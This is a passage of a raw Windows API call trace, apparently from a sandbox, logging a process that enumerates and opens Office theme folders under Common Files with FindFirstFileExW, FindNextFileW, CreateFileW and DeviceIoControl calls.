| out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa00400 [0061.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff880 [0061.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa00508 [0061.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.518] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff8a0 [0061.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa00610 [0061.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x900) returned 0xa01ba8 [0061.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fa458) returned 1 [0061.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.518] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0061.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff8c0 [0061.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa00718 [0061.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.519] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff8e0 [0061.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa00820 [0061.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.519] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.519] GetLastError () returned 0x12 [0061.519] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0061.519] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.519] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.519] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.519] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0061.519] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0061.519] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.520] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.520] GetLastError () returned 0x12 [0061.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa002f8) returned 1 [0061.520] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0061.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa00400) returned 1 [0061.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.520] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0061.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0061.534] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa024b0 [0061.534] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa024b0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa024b0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa024b0) returned 1 [0061.534] NtClose (Handle=0x16c) returned 0x0 [0061.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa00400 [0061.535] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0061.535] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.535] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.535] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0061.535] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0061.535] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.535] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.535] GetLastError () returned 0x12 [0061.535] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.535] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0061.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0061.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0061.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.536] GetLastError () returned 0x12 [0061.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa00400) returned 1 [0061.536] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa002f8) returned 1 [0061.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.536] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0061.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0061.544] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa024b0 [0061.544] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa024b0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa024b0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa024b0) returned 1 [0061.545] NtClose (Handle=0x160) returned 0x0 [0061.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa002f8 [0061.545] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.545] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.545] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa00400 [0061.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff980 [0061.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa00d48 [0061.545] 